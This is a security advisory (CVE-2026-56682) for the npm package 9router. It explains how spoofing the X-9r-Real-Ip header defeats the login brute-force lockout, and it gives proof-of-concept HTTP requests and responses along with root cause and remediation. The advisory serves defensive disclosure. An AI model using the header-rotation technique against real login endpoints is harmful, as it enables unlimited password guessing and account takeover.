9router
Affected
- introduced
0, fixed0.5.8(semver)
Fixed versions
0.5.8
Fix
- Fixed version
0.5.8npm install [email protected]
Advisory
Also known as: CVE-2026-56682
9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
Summary
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
src/lib/auth/loginLimiter.jsgetClientIp() — derives the rate-limit bucket key from the client-supplied X-9r-Real-Ip headercheckLock() / recordFail() — per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)src/app/api/auth/login/route.js — login endpoint protected by the above limiterRoot Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
Attack Scenario
custom-server.js, and the login endpoint is reachable by the attacker (the default bind is 0.0.0.0).POST /api/auth/login, setting a different X-9r-Real-Ip value on each request (e.g., 10.0.0.1, 10.0.0.2, ...).429.Proof of Concept
Baseline — fixed header value (lockout enforced)
Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses (sequential):
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
Exploit — rotated header value (lockout bypassed)
Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses:
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
<img width="1211" height="814" alt="Screenshot 2026-06-19 183338" src="https://github.com/user-attachments/assets/07e37cf3-1860-4a06-8b27-97a5f6b9be64" />
<img width="1208" height="816" alt="Screenshot 2026-06-19 183408" src="https://github.com/user-attachments/assets/27021c5c-cb29-4649-887e-8de46f4c6e1c" />
Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.
Remediation
getClientIp() on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket.custom-server.js is required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-supplied X-9r-* headers at the edge before they reach the limiter.Medium Basis: The source's own band: MODERATE
0, fixed 0.5.8 (semver)0.5.8
0.5.8npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0